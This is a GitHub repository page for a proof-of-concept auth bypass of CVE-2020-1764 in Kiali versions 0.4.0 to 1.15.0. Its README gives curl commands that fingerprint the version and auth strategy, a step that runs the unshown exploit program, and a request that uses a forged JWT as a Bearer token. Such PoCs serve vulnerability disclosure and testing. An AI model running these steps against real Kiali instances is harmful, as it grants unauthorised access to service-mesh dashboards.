Skip to content

jpts/cve-2020-1764-poc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 

Repository files navigation

CVE-2020-1764 PoC

Auth bypass PoC for Kiali 0.4.0 to 1.15.0 using login auth strategy (Security Bulletin)

check version: curl 'http://<IP>/api

check auth strategy: curl 'http://<IP>/api/auth/info'

go run ./poc.go

curl 'http://<IP>/api/status' -H "Authorization: Bearer $JWT"

Releases

No releases published

Packages

No packages published

Languages